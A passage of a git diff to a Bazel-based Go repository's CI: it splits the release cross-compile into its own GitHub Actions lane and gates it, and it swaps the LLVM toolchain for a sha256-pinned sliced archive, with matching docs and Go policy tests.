- key: bazel-repo-v3-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }} + key: bazel-repo-v4-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel', 'MODULE.bazel.lock') }} # A redacted, schema'd summary of this invocation's BEP, exec log and # profile: timing, per-mnemonic cache classes, cold actions, test @@ -1107,19 +1112,6 @@ jobs: --execution_log_compact_file="$RUNNER_TEMP/bazel-exec-build-pure.log.zst" --experimental_build_event_upload_strategy=local - # Every release target (scripts/ci/release-targets.txt) on every PR, so - # a platform-gating mistake is caught here instead of at tag time - # (#5662): the whole tree, cgo off, one remote `bazel build - # --platforms=...` per target (the script's header has the coverage - # boundary: the cgo release builds are not compiled here). nogo - # (//tools/nogo) validates every one of those compiles, so this is also - # the lint and vet gate for files only other platforms build - # (//go:build windows, darwin, !linux ...; engdocs/LINTING.md). - - name: Cross-compile every release target (--config=release-cross) - run: | - set -euo pipefail - ./scripts/ci/bazel-release-cross-compile.sh - # `go build` with CGO_ENABLED=0 rejects a pure binary whose imports reach # dolt's cgo-only store/nbs (gozstd). Bazel compiles gozstd's pure stubs # instead, whose init panics (third_party/patches/gozstd_nocgo.patch), so @@ -1212,6 +1204,65 @@ jobs: JOB_STATUS: ${{ job.status }} run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + # Every release target (scripts/ci/release-targets.txt) on every PR, so a + # platform-gating mistake is caught here instead of at tag time (#5662): + # the whole tree, cgo off, one remote `bazel build --platforms=...` per + # target (the script's header has the coverage boundary: the cgo release + # builds are not compiled here). nogo (//tools/nogo) validates every one of + # those compiles, so this is also the lint and vet gate for files only + # other platforms build (//go:build windows, darwin, !linux ...; + # engdocs/LINTING.md). A job of its own rather than a step of bazel-pure: + # release_cross is a split transition that shares no analysis with the pure + # invocations, and as a step it was about a minute on the longest cached + # lane. Same runner and skip rule as bazel-pure (it runs in every mode but + # skip). + bazel-release-cross: + name: release cross-compile + needs: rbe + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.mode != 'skip' }} + timeout-minutes: 90 + outputs: + result: ${{ steps.result.outputs.result }} + steps: + # inputs.checkout-sha: see the header (empty: the event's default ref). + # checkout v7 refuses a fork head on pull_request_target unless opted + # in; only bazel-farm.yml's authorized call opts in (false elsewhere). + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ inputs.checkout-sha }} + persist-credentials: false + allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + + - name: Set up Bazel + id: bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.mode == 'remote' && 'oss' || '' }} + BAZEL_FORK_CACHE: ${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }} + BAZEL_FORK_REMOTE: ${{ startsWith(needs.rbe.outputs.mode, 'fork-') && 'true' || '' }} + RBE_FORK_TIER: ${{ needs.rbe.outputs.tier }} + RBE_FORK_PR: ${{ github.event.pull_request.number }} + + - name: Cross-compile every release target (--config=release-cross) + run: | + set -euo pipefail + ./scripts/ci/bazel-release-cross-compile.sh + + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + # pr-risk.yml's embedded-Dolt tier ("Test (Embedded Dolt Cmd N/20)", # "Test (Embedded Dolt Storage N/5)", "Test (Embedded Dolt Conformance - # core/audit)") as --config=embedded: the embedded-tagged variants of diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 6cefbbbe6..628ed5dcc 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1327,9 +1327,10 @@ jobs: } # The Bazel lanes (bazel.yml): the only pre-merge run of every Linux Go - # test tier (PR core, pure-Go and js/wasm, the dolt-server lane, the - # embedded-Dolt, proxied-server and server-Dolt storage tiers that - # pr-risk.yml used to run, integration and the cmd/bd Dolt-server tier). + # test tier (PR core, pure-Go and js/wasm, the release cross-compile, the + # dolt-server lane, the embedded-Dolt, proxied-server and server-Dolt + # storage tiers that pr-risk.yml used to run, integration and the cmd/bd + # Dolt-server tier). # ci-gate requires each of them to have run remotely on rbe-west and # passed, on every pull_request and merge group: same-repo PRs and merge # groups in mode remote, fork and Dependabot PRs through rbe-west's mint @@ -1406,6 +1407,7 @@ jobs: BAZEL BAZEL_TEST BAZEL_PURE + BAZEL_RELEASE_CROSS BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_DOLTSERVER @@ -1443,6 +1445,7 @@ jobs: # skipped, which passes only in the modes bazel-gate.sh allows. BAZEL_TEST: ${{ needs.bazel.outputs.bazel-test || 'skipped' }} BAZEL_PURE: ${{ needs.bazel.outputs.bazel-pure || 'skipped' }} + BAZEL_RELEASE_CROSS: ${{ needs.bazel.outputs.bazel-release-cross || 'skipped' }} BAZEL_EMBEDDED: ${{ needs.bazel.outputs.bazel-embedded || 'skipped' }} BAZEL_INTEGRATION: ${{ needs.bazel.outputs.bazel-integration || 'skipped' }} BAZEL_DOLTSERVER: ${{ needs.bazel.outputs.bazel-doltserver || 'skipped' }} diff --git a/MODULE.bazel b/MODULE.bazel index b429ea297..4daf1ae58 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -111,15 +111,24 @@ llvm_dist( # which pulls in compiler-rt's profile runtime (~170KB). "lib/clang/22/lib/x86_64-unknown-linux-gnu/libclang_rt.profile.a", ], - sha256 = "df0e1ecf16caf3489a272a5eea4eec9b0d82878f6477fa309504f918a0006384", - strip_prefix = "LLVM-22.1.8-Linux-X64", + # LLVM-22.1.8-Linux-X64.tar.xz (sha256 df0e1ecf...0006384), sliced to the + # members above by tools/cc_toolchain/repack_llvm.sh: 149 MB instead of + # 1.94 GB, and no single-threaded xz pass on every cold runner. The files + # are byte-identical to the release's, so no action key changes. + # tools/cc_toolchain/llvm_members.txt must list the same members. + sha256 = "de6147773999137b70ef3d7bd8ecb1e5b91f2a161d02fd09aec591b84516bec5", + sliced = True, stub_tools = [ "clang-format", "clang-tidy", "clangd", "llvm-dwp", ], - urls = ["https://github.com/llvm/llvm-project/releases/download/llvmorg-22.1.8/LLVM-22.1.8-Linux-X64.tar.xz"], + # The sha256 pin, not the host, guarantees the bytes. gascity's release + # asset for now; a beads mirror of the same bytes can be listed first. + urls = [ + "https://github.com/gastownhall/gascity/releases/download/toolchain-llvm-22.1.8-slice-1/LLVM-22.1.8-Linux-X64-slice.tar.zst", + ], ) # Every other host (macOS arm64, Linux arm64) runs toolchains_llvm's stock @@ -195,6 +204,23 @@ go_deps.gazelle_override( ], path = "github.com/dolthub/go-mysql-server", ) + +# protoc-gen-validate ships validate/validate.pb.go, so its Go library can +# compile from the checked-in code. Its own validate/BUILD instead makes the +# Go library a go_proto_library, so every lane built protoc from source just +# to regenerate that file: about 4.5k C++ compile, link and archive actions, +# each carrying the LLVM toolchain as inputs. The module reaches the graph +# only through grpc xds and the cloud SDKs. Gazelle regenerates its BUILD +# files with proto rules off; build_file_name makes it write BUILD.bazel (which +# Bazel prefers) rather than merge into the upstream BUILD files. +go_deps.gazelle_override( + build_file_generation = "on", + directives = [ + "gazelle:build_file_name BUILD.bazel", + "gazelle:proto disable", + ], + path = "github.com/envoyproxy/protoc-gen-validate", +) go_deps.module_override( patch_strip = 1, patches = ["//third_party/patches:eventsapi_schema_build.patch"], diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 8bc7ebb4e..fb22a7410 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -55,9 +55,9 @@ Current PR-related workflow names: outputs (`rbe-enabled` is `true` in `remote`, `fork-ro` and `fork-rw`); every lane exports its `job.status` as an output named after the job. `pr.yml`'s gate requires the - call's result (`BAZEL`) and `BAZEL_TEST`, `BAZEL_PURE`, `BAZEL_EMBEDDED`, - `BAZEL_INTEGRATION`, `BAZEL_DOLTSERVER`, `BAZEL_PROXIED` and - `BAZEL_SERVER_STORAGE`. These lanes are the only CI run of the Linux Go + call's result (`BAZEL`) and `BAZEL_TEST`, `BAZEL_PURE`, + `BAZEL_RELEASE_CROSS`, `BAZEL_EMBEDDED`, `BAZEL_INTEGRATION`, + `BAZEL_DOLTSERVER`, `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`. These lanes are the only CI run of the Linux Go test tiers: the legacy jobs they mirrored in `pr.yml` and `pr-risk.yml` are retired (ga-96smfk.22; see [Legacy Tier Retirement](#legacy-tier-retirement-d2)), so the gate also @@ -899,8 +899,9 @@ Required` requires them to have run remotely and passed. `TestPinnedDoltCLIMatchesContainerImage`. The release-target cross-compilation (formerly pr.yml's `check-release-target-cross-compilation`, `go build ./...` with - `CGO_ENABLED=0` per target) is a step of bazel.yml's `bazel-pure` lane - (`BAZEL_PURE`): `scripts/ci/bazel-release-cross-compile.sh` runs one + `CGO_ENABLED=0` per target) is bazel.yml's `bazel-release-cross` lane + (`BAZEL_RELEASE_CROSS`), split out of `bazel-pure` so it runs in + parallel with it: `scripts/ci/bazel-release-cross-compile.sh` runs one remote `bazel build //tools/bazel:release_cross`, every `go_library` and `go_binary` for each row of `scripts/ci/release-targets.txt`, plus `//tools/bazel:pure_bd_has_no_cgo_only_deps` (a pure bd must not link @@ -910,7 +911,7 @@ Required` requires them to have run remotely and passed. equal to the toolchain's) and the golangci-lint linters `.golangci.yml` enables run as nogo (`//tools/nogo`) beside every compile of every Bazel lane: natively in `bazel test //... --config=ci`, and for every release - platform in the `bazel-pure` lane's release cross-compile + platform in the `bazel-release-cross` lane (engdocs/LINTING.md). The former `scripts-go-checks` (`Go checks (vet)`) and `pr-lint-wrapper` (`PR Lint (native|windows|darwin)`) jobs are retired. @@ -1116,7 +1117,7 @@ scope, not this slice's. `scripts/ci/check-release-cross-compile.sh `, which builds every target in its group sequentially and reports every failure before exiting non-zero, so a PR touching two platforms at once sees both failures in one - log instead of needing a per-target re-run. (Since retired: bazel.yml's `bazel-pure` + log instead of needing a per-target re-run. (Since retired: bazel.yml's `bazel-release-cross` lane builds the same manifest with Bazel, `--platforms` per target.) - **`advisory-reports` fold.** `build-examples` and `complexity-report` (both already advisory: neither was in ci-gate's `needs`/`CI_GATE_REQUIRED`) diff --git a/engdocs/LINTING.md b/engdocs/LINTING.md index 15a8c4bdf..991a6d0a3 100644 --- a/engdocs/LINTING.md +++ b/engdocs/LINTING.md @@ -42,8 +42,8 @@ Where it gates: - **bazel.yml's `test` lane** (required through `CI Gate / Required`): `bazel test //... --config=ci` validates every package natively. -- **bazel.yml's `pure` lane** (required): its release cross-compile - (`scripts/ci/bazel-release-cross-compile.sh`) builds +- **bazel.yml's `release cross-compile` lane** (`bazel-release-cross`, + required): `scripts/ci/bazel-release-cross-compile.sh` builds `//tools/bazel:release_cross`, every `go_library` and `go_binary` split-transitioned to each release platform without cgo, and nogo validates each of those compiles. So `//go:build windows`, `darwin`, diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 7a2a62915..9adaed89f 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -36,7 +36,8 @@ Each lane, as bazel.yml runs it (add your `--config=fork-cache` or |---|---|---| | Test (`bazel-test`) | `make test`, i.e. `bazel test //... --config=ci` | PR Core's selection: race, `-short`, skips. Includes nogo, gofmt and the repository guards. The default gate for every Go change. | | Lint, all platforms | `make ci-pr-lint` | nogo natively plus the windows/amd64 and darwin/arm64 passes. `make lint-changed` covers only your changed packages. | -| Pure-Go (`bazel-pure`) | `bazel build --config=pure //cmd/bd:bd //cmd/bd:bd_test` | cgo off. The job's cmd/bd test subset (`PURE_CMD_BD_TESTS`), release cross-compile and js/wasm step are in bazel.yml. | +| Pure-Go (`bazel-pure`) | `bazel build --config=pure //cmd/bd:bd //cmd/bd:bd_test` | cgo off. The job's cmd/bd test subset (`PURE_CMD_BD_TESTS`) and js/wasm step are in bazel.yml. | +| Release cross-compile (`bazel-release-cross`) | `./scripts/ci/bazel-release-cross-compile.sh` | Every `go_library`/`go_binary` for each row of `scripts/ci/release-targets.txt`, cgo off, with nogo. | | Integration (`bazel-integration`) | `bazel test //... --config=integration` | The `integration`-tagged build. Runs with the read-only cache too. | | Dolt server (`bazel-doltserver`) | `bazel test //... --config=doltserver` | Starts its own `dolt sql-server` from the pinned binary; no docker. | | cmd/bd Dolt server (`bazel-cmd-dolt`) | `bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd` | 16 shards of the integration-tagged cmd/bd suite. | diff --git a/scripts/bazel_hermetic_cc_test.go b/scripts/bazel_hermetic_cc_test.go index bd0a74721..335d0e648 100644 --- a/scripts/bazel_hermetic_cc_test.go +++ b/scripts/bazel_hermetic_cc_test.go @@ -26,6 +26,9 @@ const ( hermeticCCLLVMLabel = "@llvm_dist_linux_x86_64//:BUILD.bazel" // Every other host's stock LLVM release (toolchains_llvm's sha256 table). hermeticCCHostLLVMLabel = "@llvm_dist_host//:BUILD.bazel" + // The members list tools/cc_toolchain/repack_llvm.sh slices the release + // to; it must equal llvm_dist's members (MODULE.bazel). + hermeticCCLLVMMembersFile = "tools/cc_toolchain/llvm_members.txt" ) var ( @@ -33,6 +36,11 @@ var ( // snapshot.ubuntu.com serves each timestamp's archive state forever; a // moving mirror (archive.ubuntu.com) may only follow it as a fallback. ubuntuSnapshotRE = regexp.MustCompile(`^https://snapshot\.ubuntu\.com/ubuntu/\d{8}T\d{6}Z/$`) + // A sliced llvm_dist archive is a repack (repack_llvm.sh), not an + // upstream release, so it may only come from a gastownhall release: + // beads' own mirror or gascity's original asset (same bytes, same sha256). + llvmSliceURLRE = regexp.MustCompile(`^https://github\.com/gastownhall/(beads|gascity)/releases/download/toolchain-llvm-[0-9.]+-slice-[0-9]+/[A-Za-z0-9._-]+\.tar\.zst$`) + quotedStringRE = regexp.MustCompile(`"([^"]*)"`) ) // moduleCall returns the argument text of the single top-level call @@ -136,6 +144,46 @@ func checkHermeticCCModule(module string) []error { return errs } +// checkHermeticLLVMSlice: a sliced llvm_dist downloads only from a +// gastownhall release, and its members equal the repack script's list, so +// the pinned slice can be rebuilt from upstream and checked file by file. +func checkHermeticLLVMSlice(module, membersFile string) []error { + dist, err := moduleCall(module, "llvm_dist", `name = "llvm_dist_linux_x86_64"`) + if err != nil { + return []error{err} + } + if !strings.Contains(dist, "sliced = True,") { + return nil + } + var errs []error + urls := regexp.MustCompile(`(?s)urls = \[(.*?)\]`).FindStringSubmatch(dist) + if urls == nil || len(quotedStringRE.FindAllStringSubmatch(urls[1], -1)) == 0 { + errs = append(errs, errors.New("sliced llvm_dist has no urls")) + } else { + for _, u := range quotedStringRE.FindAllStringSubmatch(urls[1], -1) { + if !llvmSliceURLRE.MatchString(u[1]) { + errs = append(errs, errors.New("sliced llvm_dist url "+u[1]+" is not a gastownhall/beads or gastownhall/gascity release .tar.zst")) + } + } + } + var members []string + if body := regexp.MustCompile(`(?s)members = \[(.*?)\]`).FindStringSubmatch(dist); body != nil { + for _, m := range quotedStringRE.FindAllStringSubmatch(body[1], -1) { + members = append(members, m[1]) + } + } + var listed []string + for _, line := range strings.Split(membersFile, "\n") { + if line = strings.TrimSpace(line); line != "" { + listed = append(listed, line) + } + } + if len(members) == 0 || strings.Join(members, "\n") != strings.Join(listed, "\n") { + errs = append(errs, errors.New("llvm_dist members must equal "+hermeticCCLLVMMembersFile+" (same order), or the pinned slice cannot be rebuilt by repack_llvm.sh")) + } + return errs +} + // checkHermeticCCBazelRC: host detection is off unconditionally (every // command, every config) and nothing hands actions a host compiler. func checkHermeticCCBazelRC(rc string) []error { @@ -175,7 +223,11 @@ func checkHermeticCCBazelRC(rc string) []error { func TestBazelHermeticCCToolchain(t *testing.T) { root := bazelPolicyRoot(t) - for _, err := range checkHermeticCCModule(readPolicyFile(t, root, hermeticCCModuleFile)) { + module := readPolicyFile(t, root, hermeticCCModuleFile) + for _, err := range checkHermeticCCModule(module) { + t.Error(err) + } + for _, err := range checkHermeticLLVMSlice(module, readPolicyFile(t, root, hermeticCCLLVMMembersFile)) { t.Error(err) } for _, err := range checkHermeticCCBazelRC(readPolicyFile(t, root, ".bazelrc")) { @@ -271,3 +323,46 @@ llvm.sysroot( } } } + +func TestBazelHermeticLLVMSliceGuards(t *testing.T) { + sum := strings.Repeat("ab", 32) + slice := "https://github.com/gastownhall/gascity/releases/download/toolchain-llvm-22.1.8-slice-1/LLVM-22.1.8-Linux-X64-slice.tar.zst" + mirror := "https://github.com/gastownhall/beads/releases/download/toolchain-llvm-22.1.8-slice-1/LLVM-22.1.8-Linux-X64-slice.tar.zst" + module := `llvm_dist( + name = "llvm_dist_linux_x86_64", + members = [ + "bin/clang", + # a comment + "lib/clang/22/include", + ], + sha256 = "` + sum + `", + sliced = True, + urls = [ + "` + mirror + `", + "` + slice + `", + ], +) +` + members := "bin/clang\nlib/clang/22/include\n" + if errs := checkHermeticLLVMSlice(module, members); len(errs) != 0 { + t.Fatalf("good sliced llvm_dist fixture: %v", errs) + } + unsliced := strings.Replace(strings.Replace(module, " sliced = True,\n", "", 1), slice, "https://github.com/llvm/llvm-project/releases/download/llvmorg-22.1.8/LLVM-22.1.8-Linux-X64.tar.xz", 1) + if errs := checkHermeticLLVMSlice(unsliced, members); len(errs) != 0 { + t.Fatalf("unsliced llvm_dist needs no slice host or members file: %v", errs) + } + for name, bad := range map[string][2]string{ + "other host": {strings.Replace(module, slice, "https://example.com/LLVM-22.1.8-Linux-X64-slice.tar.zst", 1), members}, + "other repo": {strings.Replace(module, "gastownhall/gascity", "someone/gascity", 1), members}, + "xz release": {strings.Replace(module, slice, "https://github.com/gastownhall/gascity/releases/download/toolchain-llvm-22.1.8-slice-1/LLVM.tar.xz", 1), members}, + "no urls": {strings.Replace(strings.Replace(module, `"`+slice+`",`, "", 1), `"`+mirror+`",`, "", 1), members}, + "member missing": {module, "bin/clang\n"}, + "member extra": {module, members + "bin/lld\n"}, + "member reordered": {module, "lib/clang/22/include\nbin/clang\n"}, + "empty member file": {module, ""}, + } { + if len(checkHermeticLLVMSlice(bad[0], bad[1])) == 0 { + t.Errorf("%s: expected an error for sliced llvm_dist fixture:\n%s\nmembers:\n%s", name, bad[0], bad[1]) + } + } +} diff --git a/scripts/ci_analytics_workflow_test.go b/scripts/ci_analytics_workflow_test.go index d94a94c16..e76b9ad02 100644 --- a/scripts/ci_analytics_workflow_test.go +++ b/scripts/ci_analytics_workflow_test.go @@ -29,10 +29,11 @@ var ciAnalyticsLaneJobs = map[string]string{ // TestBazelLaneIsGatedAlongsideLegacy's gated/advisory/flag-gated split, so // a new job in bazel.yml can't silently go unaccounted for here either. var ciAnalyticsExcludedJobs = map[string]string{ - "rbe": "decides the execution mode; builds nothing itself, so there is no BEP/exec-log/profile to summarize", - "rbe-prewarm": "best-effort pre-warm dispatch to gascity's rbe-west pool; not a build/test lane", - "package-mcp": "F3 package gate; runs pytest, not a bazel invocation with a BEP to extract", - "package-npm": "F3 package gate; runs npm, not a bazel invocation with a BEP to extract", + "rbe": "decides the execution mode; builds nothing itself, so there is no BEP/exec-log/profile to summarize", + "rbe-prewarm": "best-effort pre-warm dispatch to gascity's rbe-west pool; not a build/test lane", + "package-mcp": "F3 package gate; runs pytest, not a bazel invocation with a BEP to extract", + "package-npm": "F3 package gate; runs npm, not a bazel invocation with a BEP to extract", + "bazel-release-cross": "one bazel-release-cross-compile.sh run with no BEP/exec-log/profile capture, as when it was a bazel-pure step", } // ciAnalyticsRunTemplateRE finds a GitHub Actions expression (${{ ... }}) diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index d3cdeab5b..f5479a463 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -125,37 +125,55 @@ func TestPRCIGateDropsRetiredPolicyAndLintJobs(t *testing.T) { } } -// TestReleaseCrossCompileRunsInBazelPureLane pins the release-target -// cross-compilation gate into bazel.yml's pure-Go lane, whose job.status -// ci-gate requires (BAZEL_PURE), and keeps the retired pr.yml job from -// coming back beside it: a second, `go build` copy of the gate would run -// every target twice. -func TestReleaseCrossCompileRunsInBazelPureLane(t *testing.T) { +// TestReleaseCrossCompileRunsInItsOwnBazelLane pins the release-target +// cross-compilation gate into bazel.yml's bazel-release-cross lane, whose +// job.status ci-gate requires (BAZEL_RELEASE_CROSS), and keeps it from +// running twice: not back in bazel-pure (where it was a step on the longest +// cached lane), and not as the retired pr.yml `go build` job beside it. +func TestReleaseCrossCompileRunsInItsOwnBazelLane(t *testing.T) { const ( retiredJob = "check-release-target-cross-compilation" retiredToken = "CHECK_RELEASE_TARGET_CROSS_COMPILATION" stepName = "Cross-compile every release target (--config=release-cross)" + script = "./scripts/ci/bazel-release-cross-compile.sh" ) pr := readCIWorkflow(t, "pr.yml") if _, ok := pr.Jobs[retiredJob]; ok { - t.Errorf("pr.yml still defines %s; bazel.yml's %s lane runs the release cross-compilation", retiredJob, bazelPureJobName) + t.Errorf("pr.yml still defines %s; bazel.yml's %s lane runs the release cross-compilation", retiredJob, bazelReleaseCrossJobName) } gate := pr.job(t, "ci-gate") gateEnv := gate.step(t, "Evaluate CI gate").Env if contains(gate.Needs, retiredJob) || gateEnv[retiredToken] != "" || contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), retiredToken) { t.Errorf("ci-gate still wires the retired %s job", retiredJob) } - if !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), "BAZEL_PURE") { - t.Errorf("ci-gate CI_GATE_REQUIRED does not include BAZEL_PURE, the lane that cross-compiles the release targets") + if !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), "BAZEL_RELEASE_CROSS") { + t.Errorf("ci-gate CI_GATE_REQUIRED does not include BAZEL_RELEASE_CROSS, the lane that cross-compiles the release targets") } - run := readCIWorkflow(t, bazelWorkflowName).job(t, bazelPureJobName).step(t, stepName).Run + bazel := readCIWorkflow(t, bazelWorkflowName) + for name, job := range bazel.Jobs { + if name == bazelReleaseCrossJobName { + continue + } + for _, step := range job.Steps { + if strings.Contains(step.Run, script) { + t.Errorf("%s step %q runs %s too; only %s cross-compiles the release targets", name, step.Name, script, bazelReleaseCrossJobName) + } + } + } + cross := bazel.job(t, bazelReleaseCrossJobName) + pure := bazel.job(t, bazelPureJobName) + if cross.RunsOn != pure.RunsOn || cross.If != pure.If || !slices.Equal(cross.Needs, pure.Needs) { + t.Errorf("%s runs-on/if/needs = %q / %q / %v, want %s's %q / %q / %v", + bazelReleaseCrossJobName, cross.RunsOn, cross.If, cross.Needs, bazelPureJobName, pure.RunsOn, pure.If, pure.Needs) + } + run := cross.step(t, stepName).Run for _, required := range []string{ "set -euo pipefail", - "./scripts/ci/bazel-release-cross-compile.sh", + script, } { if !strings.Contains(run, required) { - t.Errorf("%s step %q does not contain %q:\n%s", bazelPureJobName, stepName, required, run) + t.Errorf("%s step %q does not contain %q:\n%s", bazelReleaseCrossJobName, stepName, required, run) } } @@ -1712,16 +1730,19 @@ func captureOne(t *testing.T, pattern, body, source string) string { // --- Bazel lane (.github/workflows/bazel.yml, gated through pr.yml) ---------- const ( - bazelWorkflowName = "bazel.yml" - bazelJobName = "bazel-test" - bazelPureJobName = "bazel-pure" - bazelDoltJobName = "bazel-doltserver" - bazelEmbedJobName = "bazel-embedded" - bazelRBEJobName = "rbe" - bazelIntegJobName = "bazel-integration" - bazelProxiedJobName = "bazel-proxied" - bazelServerJobName = "bazel-server-storage" - bazelCmdDoltJobName = "bazel-cmd-dolt" + bazelWorkflowName = "bazel.yml" + bazelJobName = "bazel-test" + bazelPureJobName = "bazel-pure" + // The release-target cross-compilation, split out of bazel-pure so it + // runs in parallel with it (same runner and skip rule). + bazelReleaseCrossJobName = "bazel-release-cross" + bazelDoltJobName = "bazel-doltserver" + bazelEmbedJobName = "bazel-embedded" + bazelRBEJobName = "rbe" + bazelIntegJobName = "bazel-integration" + bazelProxiedJobName = "bazel-proxied" + bazelServerJobName = "bazel-server-storage" + bazelCmdDoltJobName = "bazel-cmd-dolt" // F3: the MCP and npm package gates, moved here from pr.yml so they need // only the rbe job. Unlike every other lane they do not mirror a Bazel // config; pr.yml opts them in with package-gates: "on". @@ -1746,8 +1767,8 @@ const ( // Same SHA/comment already used in this repo for this action (rbe- // prewarm's mint step, update-flake-lock.yml). appTokenActionSHA = "bcd2ba49218906704ab6c1aa796996da409d3eb1" - bazelCacheKeyPrefix = "bazel-repo-v3-${{ runner.os }}-" - bazelCacheKey = bazelCacheKeyPrefix + "${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }}" + bazelCacheKeyPrefix = "bazel-repo-v4-${{ runner.os }}-" + bazelCacheKey = bazelCacheKeyPrefix + "${{ hashFiles('.bazelversion', 'MODULE.bazel', 'MODULE.bazel.lock') }}" bazelCachePath = "${{ runner.temp }}/bazel-ci-cache" // Save only from a push to main that missed the exact key: the content is // fixed by the key, so re-saving every push only churns the quota. @@ -1758,7 +1779,7 @@ const ( // bazel.yml's jobs: the rbe job that decides the execution mode, the // --config=ci lane, one job per CI job a Bazel config mirrors, and the two // package gates (F3), sorted alphabetically to match TestBazelWorkflowJobsAndExecutionMode's sort.Strings. -var bazelJobNames = []string{bazelCmdDoltJobName, bazelDoltJobName, bazelEmbedJobName, bazelIntegJobName, bazelProxiedJobName, bazelPureJobName, bazelServerJobName, bazelJobName, bazelPackageMCPJobName, bazelPackageNPMJobName, bazelRBEJobName, bazelRBEPrewarmJobName} +var bazelJobNames = []string{bazelCmdDoltJobName, bazelDoltJobName, bazelEmbedJobName, bazelIntegJobName, bazelProxiedJobName, bazelPureJobName, bazelReleaseCrossJobName, bazelServerJobName, bazelJobName, bazelPackageMCPJobName, bazelPackageNPMJobName, bazelRBEJobName, bazelRBEPrewarmJobName} // The lanes that only run remotely (skipped unless the rbe job chose remote); // bazel-integration runs remotely or with the read-only cache (bazelIntegIf); @@ -1848,10 +1869,12 @@ var bazelWorkflowTriggers = []string{"push", "workflow_call", "workflow_dispatch // TestBazelGateSimulation), for the recorded reason. A new job in bazel.yml // must be added to one of the two (TestBazelLaneIsGatedAlongsideLegacy). var bazelLaneGateIDs = map[string]string{ - bazelJobName: "BAZEL_TEST", - bazelPureJobName: "BAZEL_PURE", - bazelEmbedJobName: "BAZEL_EMBEDDED", - bazelDoltJobName: "BAZEL_DOLTSERVER", + bazelJobName: "BAZEL_TEST", + bazelPureJobName: "BAZEL_PURE", + // Every release target cross-compiled, cgo off (and nogo over each). + bazelReleaseCrossJobName: "BAZEL_RELEASE_CROSS", + bazelEmbedJobName: "BAZEL_EMBEDDED", + bazelDoltJobName: "BAZEL_DOLTSERVER", // Remote-only PR Risk tiers (fork and Dependabot PRs rely on // pr-risk.yml's legacy jobs, like the embedded tier's). bazelProxiedJobName: "BAZEL_PROXIED", diff --git a/third_party/cc_toolchain/llvm_dist.bzl b/third_party/cc_toolchain/llvm_dist.bzl index 994aeef39..93fab6b23 100644 --- a/third_party/cc_toolchain/llvm_dist.bzl +++ b/third_party/cc_toolchain/llvm_dist.bzl @@ -9,16 +9,26 @@ it plugs in through `llvm.toolchain_root`. """ def _llvm_dist_impl(rctx): - archive = "_llvm.tar.xz" - rctx.download(url = rctx.attr.urls, output = archive, sha256 = rctx.attr.sha256) - res = rctx.execute( - ["tar", "-xJf", archive, "--strip-components=1"] + - [rctx.attr.strip_prefix + "/" + m for m in rctx.attr.members], - timeout = 3600, - ) - if res.return_code != 0: - fail("llvm_dist: extracting %s failed:\n%s" % (rctx.attr.urls[0], res.stderr)) - rctx.delete(archive) + if rctx.attr.sliced: + # A members-only, zstd archive of the same release (tools/cc_toolchain/ + # repack_llvm.sh): the same bytes as the tar -xJf below, extracted by + # Bazel itself in seconds instead of a minute-plus of single-threaded xz + # on every cold CI runner. Action keys are unchanged (identical files). + rctx.download_and_extract(url = rctx.attr.urls, sha256 = rctx.attr.sha256, type = "tar.zst") + missing = [m for m in rctx.attr.members if not rctx.path(m).exists] + if missing: + fail("llvm_dist: the sliced archive lacks %s" % ", ".join(missing)) + else: + archive = "_llvm.tar.xz" + rctx.download(url = rctx.attr.urls, output = archive, sha256 = rctx.attr.sha256) + res = rctx.execute( + ["tar", "-xJf", archive, "--strip-components=1"] + + [rctx.attr.strip_prefix + "/" + m for m in rctx.attr.members], + timeout = 3600, + ) + if res.return_code != 0: + fail("llvm_dist: extracting %s failed:\n%s" % (rctx.attr.urls[0], res.stderr)) + rctx.delete(archive) # toolchains_llvm symlinks a fixed tool list into its toolchain package; # tools this repository leaves out get a stub that fails loudly if run. @@ -42,7 +52,10 @@ llvm_dist = repository_rule( "llvm_version": attr.string(mandatory = True), "urls": attr.string_list(mandatory = True), "sha256": attr.string(mandatory = True), - "strip_prefix": attr.string(mandatory = True), + "strip_prefix": attr.string(doc = "The release archive's top directory (unsliced archives only)."), + "sliced": attr.bool( + doc = 